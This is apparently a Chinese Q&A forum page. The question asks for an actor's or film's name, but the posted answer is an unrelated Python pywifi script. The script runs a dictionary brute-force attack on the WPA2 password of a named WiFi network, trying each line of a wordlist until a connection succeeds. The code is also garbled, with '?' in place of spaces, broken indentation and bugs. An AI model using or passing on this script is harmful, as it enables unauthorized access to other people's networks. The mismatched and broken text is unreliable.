其實我就想來問一下 這個演員的名字 或者這部片子的名字
yuxinkai
2018-06-27 15:07:05
TA貢獻(xiàn)86條經(jīng)驗 獲得超23個贊
#coding:utf-8 import?time import?pywifi from?pywifi?import?const from?asyncio.tasks?import?sleep class?PoJie(): def?_init_(self,path): self.file=open(path,?"r",?errors="ignore") wifi?=?pywifi.PyWiFi()?#抓取網(wǎng)卡接口 self.iface?=?wifi.interfaces()[0]?#抓取第一個無線網(wǎng)卡 self.iface.disconnect()?#測試鏈接斷開所有鏈接 time.sleep(1)?#休眠1秒 #測試網(wǎng)卡是否屬于斷開狀態(tài) assert?self.iface.status()?in\ ?????[const.IFACE_DISCONNECTED,?const.IFACE_INACTIVE] ????????def?readPassWord(self): ????????????????print("開始破解:") ????????????????while?True: ????????????????try: ????????????????myStr?=?self.file.readline() ????????????????if?not?myStr: ????????????????break ????????????????bool1=self.test_connect(myStr) ????????????????if?bool1: ????????????????print("密碼正確:?",myStr) ????????????????break ????????????????else: ????????????????print("密碼錯誤:?"?+?myStr) ????????????????sleep(3) ????????????????except: ????????????????continue ????????def?test_connect(self,?findStr):??#測試鏈接 ????????????profile?=?pywifi.Profile()?#創(chuàng)建wifi鏈接文件 ????????????profile.ssid?=?"CMCC-PXMh"?#wifi名稱 ????????????profile.auth?=?const.AUTH_ALG_OPEN?#網(wǎng)卡的開放 ????????????profile.akm.append(const.AKM_TYPE_WPA2PSK)??#wifi加密算法 ????????????profile.cipher?=?const.CIPHER_TYPE_CCMP??#加密單元 ????????????profile.key?=?findStr?#密碼 ????????????self.iface.remove_all_network_profiles()?#刪除所有的wifi文件 ????????????tmp_profile?=?self.iface.add_network_profile(profile)??#設(shè)定新的鏈接文件 ????????????self.iface.connect(tmp_profile)??#鏈接 ????????????time.sleep(5) ????????????if?self.iface.status()?==?const.IFACE_CONNECTED:?#判斷是否連接上 ????????????????isOK=True ????????????else: ????????????????isOK=False ????????????self.iface.disconnect()?#斷開 ????????????time.sleep(1) #檢查斷開狀態(tài) ????????????assert?self.iface.status()?in\ ????????????????[const.IFACE_DISCONNECTED,?const.IFACE_INACTIVE] ????????????return?isOK ??????def?_del_(self): ??????????self.file.close()path=r"C:\Users\Administrator\Desktop\資料\wifi.txt" ??start=PoJie() ??start.readPassWord()
舉報